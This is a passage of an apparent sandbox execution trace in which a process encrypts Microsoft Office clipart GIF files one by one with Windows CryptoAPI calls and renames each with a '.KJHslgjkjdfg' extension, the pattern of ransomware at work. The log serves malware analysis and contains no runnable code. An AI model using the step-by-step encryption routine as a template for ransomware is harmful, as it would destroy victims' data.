lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.281] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.281] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.281] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.281] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.281] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.281] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.281] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.281] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1b48, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1b48, lpOverlapped=0x0) returned 1 [0181.315] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b50, dwBufLen=0x1b50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b50) returned 1 [0181.315] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.315] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1b50, lpOverlapped=0x0) returned 1 [0181.315] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.315] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.315] SetEndOfFile (hFile=0x130) returned 1 [0181.317] GetProcessHeap () returned 0x990000 [0181.317] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.317] GetProcessHeap () returned 0x990000 [0181.318] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.318] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.kjhslgjkjdfg")) returned 1 [0181.320] CloseHandle (hObject=0x130) returned 1 [0181.320] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4d0800, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d4d0800, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x33c6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00164_.GIF", cAlternateFileName="")) returned 1 [0181.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.320] GetProcessHeap () returned 0x990000 [0181.320] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.321] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.321] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.321] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0181.323] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.323] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.323] GetProcessHeap () returned 0x990000 [0181.323] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.323] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.323] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.323] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.323] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.323] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.323] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.323] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.323] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.323] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.324] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.324] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.324] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x33c6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x33c6, lpOverlapped=0x0) returned 1 [0181.324] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x33d0, dwBufLen=0x33d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x33d0) returned 1 [0181.325] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.325] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x33d0, lpOverlapped=0x0) returned 1 [0181.325] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.325] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x34a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.325] SetEndOfFile (hFile=0x130) returned 1 [0181.327] GetProcessHeap () returned 0x990000 [0181.327] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.327] GetProcessHeap () returned 0x990000 [0181.327] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.327] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.kjhslgjkjdfg")) returned 1 [0181.330] CloseHandle (hObject=0x130) returned 1 [0181.331] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b98100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89b98100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2186, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00165_.GIF", cAlternateFileName="")) returned 1 [0181.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.332] GetProcessHeap () returned 0x990000 [0181.332] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.332] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.332] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.332] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0181.334] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.334] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.334] GetProcessHeap () returned 0x990000 [0181.334] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.334] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.334] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.334] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.335] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.335] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.335] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.335] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.335] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.335] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.335] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.335] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.335] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2186, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2186, lpOverlapped=0x0) returned 1 [0181.336] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2190, dwBufLen=0x2190 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2190) returned 1 [0181.336] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.336] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2190, lpOverlapped=0x0) returned 1 [0181.336] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.337] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2264, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.337] SetEndOfFile (hFile=0x130) returned 1 [0181.339] GetProcessHeap () returned 0x990000 [0181.340] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.340] GetProcessHeap () returned 0x990000 [0181.340] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.340] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.kjhslgjkjdfg")) returned 1 [0181.344] CloseHandle (hObject=0x130) returned 1 [0181.344] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81614600, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81614600, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x131e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00167_.GIF", cAlternateFileName="")) returned 1 [0181.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.344] GetProcessHeap () returned 0x990000 [0181.344] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.344] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.344] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.345] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0181.346] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.346] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.347] GetProcessHeap () returned 0x990000 [0181.347] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.347] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.347] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.347] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.347] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.347] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.347] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.347] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.347] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.347] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.347] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.347] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.347] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x131e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x131e, lpOverlapped=0x0) returned 1 [0181.348] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1320, dwBufLen=0x1320 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1320) returned 1 [0181.349] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.349] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1320, lpOverlapped=0x0) returned 1 [0181.349] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.349] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x13f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.349] SetEndOfFile (hFile=0x130) returned 1 [0181.351] GetProcessHeap () returned 0x990000 [0181.351] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.351] GetProcessHeap () returned 0x990000 [0181.351] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.351] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.kjhslgjkjdfg")) returned 1 [0181.356] CloseHandle (hObject=0x130) returned 1 [0181.356] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9c9200, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c9c9200, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00169_.GIF", cAlternateFileName="")) returned 1 [0181.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.357] GetProcessHeap () returned 0x990000 [0181.357] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.357] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.357] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.357] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x1, lpOverlapped=0x0) returned 1 [0181.361] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.361] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.361] GetProcessHeap () returned 0x990000 [0181.361] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.361] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.361] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.361] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.361] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.361] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.361] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.361] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.362] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.362] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.362] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.362] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.362] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x14ff, lpNumberOfBytesRead=0x29df27c, 